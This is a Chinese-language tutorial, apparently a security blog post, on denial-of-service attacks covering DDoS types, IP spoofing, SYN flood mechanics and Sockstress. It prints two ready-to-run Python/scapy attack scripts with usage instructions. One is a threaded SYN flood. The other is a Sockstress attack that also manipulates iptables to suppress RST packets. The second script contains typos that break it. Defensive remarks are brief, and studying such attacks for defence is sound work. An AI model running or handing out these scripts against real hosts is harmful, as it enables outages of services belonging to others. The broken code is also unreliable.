Dos不是DOS(利用程序漏洞或一對一資源耗盡的denial of service拒絕服務)
DDoS分布式拒絕服務(多對一的攻擊匯聚資源能力,重點在於量大,屬於資源耗盡型)
歷史
以前:欠缺技術能力,ping死你(難纏)
現在:最強大,最危險的攻擊,攻擊方式眾多(專業化的勒索,販賣和租用肉雞已經成為黑產中的重要部分,最終的辦法就是拼資源,投資抗D,或者乖乖交保護費)
D網絡:基於大量的flood耗盡目標網絡帶寬(ICMP Flood ,UDP Flood)
D協議:攻擊協議漏洞發起的拒絕服務,(Syn Flood,Ping of Death,ARP,DNS,802.11,SSL)
D應用:針對應用程序和操作系統漏洞發起的拒絕服務攻擊,大量的訪問消耗應用(cc代理),通常表現為操作系統正常,網絡流量巨大,但是服務停止響應。
從攻擊者到受害者------網絡---》FW--》服務器---》服務應用
資源耗盡------
網絡:帶寬
FW:吞吐量,並發連接
服務器:CPU,內存,I/O
應用:處理請求能力,對OS資源的使用權
程序漏洞攻擊-----緩沖區溢出,協議,程序邏輯漏洞
Syn-Flood---常伴隨ip欺騙
IP地址欺騙
經常用於dos攻擊
根據ip頭地址尋址(可以偽造ip源地址)
邊界路由器過濾(入站,出站)
受害者可能是源,目的地址
繞過基於地址的驗證
壓力測試模擬多用戶
上層協議(TCP序列號)
客戶端發送一個包含SYN標志的TCP報文,SYN即同步(Synchronize),同步報文會指明客戶端使用的端口以及TCP連接的初始序號
以上的連接過程在TCP協議中被稱為三次握手(Three-way Handshake)
問題就出在TCP連接的三次握手中,假設一個用戶向服務器發送了SYN報文后突然死機或掉線,那么服務器在發出SYN+ACK應答報文后是無法收到客戶端的ACK報文的(第三次握手無法完成),這種情況下服務器端一般會再次發送SYN+ACK給客戶端,並等待一段時間后丟棄這個未完成的連接,這段時間的長度我們稱為SYN Timeout,一般來說這個時間是分鍾的數量級(大約為30秒-2分鍾);一個用戶出現異常導致服務器的一個線程等待1分鍾並不是什么很大的問題,但如果有一個惡意的攻擊者大量模擬這種情況,服務器端將為了維護一個非常大的半連接列表而消耗非常多的資源----數以萬計的半連接,即使是簡單的保存並遍歷也會消耗非常多的CPU時間和內存,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上如果服務器的TCP/IP棧不夠強大,最后的結果往往是堆棧溢出崩潰---即使服務器端的系統足夠強大,服務器端也將忙於處理攻擊者偽造的TCP連接請求而無暇理睬客戶的正常請求,此時從正常客戶的角度看來,服務器失去響應,服務器端受到了SYN Flood攻擊(SYN洪水攻擊)
python實現攻擊
#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "用法: ./syn_flood.py [IP地址] [端口] [線程數]"
print "舉例: ./syn_flood.py 1.1.1.1 80 20"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])
print "正在執行 SYN flood 攻擊,按 Ctrl+C 停止攻擊."
def synflood(target,port):
while 0 == 0:
x = random.randint(0,65535)
send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
thread.start_new_thread(synflood, (target,port))
while 0 == 0:
sleep(1)
抓包查看
Sockstress
針對tcp服務的拒絕服務攻擊
消耗目標操作系統資源
與攻擊目標建立大量的socket鏈接
完成三次握手,最后的ack包windows為0(客戶端不接收數據)
攻擊者資源消耗小(cpu,內存,帶寬)
異步攻擊,單機可對抗高配資源服務器
windows窗口實現的tcp流控
防御措施:
直到今天sockstress攻擊仍然是一種很有效的Dos攻擊方式
由於建立完整的TCP三次握手,因此使用syn cookie防御無效
根本的防御辦法是采用白名單,但是不實際
折中對策,限制單位時間內每秒連接超市的TCP連接數
python腳本實現:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) !=4:
print "用法: ./sock_stress.py [目標IP] [端口] [線程數]"
print "舉例: ./sock_stress.py 10.0.0.5 21 20 ## 請確定唄攻擊端口處於開放狀態"
sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])
## 攻擊函數
def sockstress(target,dstport):
while 0==0:
try:
x = random.randint(0,65535)
response = srl(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dsport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
except:
pass
## 停止攻擊函數
def shutdown(signal, frame):
print '正在恢復 iptables 規則'
os.system('iptable -D OUTPUT -p tcp --tcp-flas RST RST -d ' + target + ' -j DROP')
sys.exit()
## 添加iptables規則
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, shutdown)
## 多線程攻擊
print "\n攻擊正在進行...按 Ctrl+C 停止攻擊"
for x in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))
## 永遠執行
while 0==0:
sleep(1)
執行攻擊並抓包查看
友情鏈接 http://www.cnblogs.com/klionsec
http://www.cnblogs.com/l0cm
http://www.cnblogs.com/Anonyaptxxx
http://www.feiyusafe.cn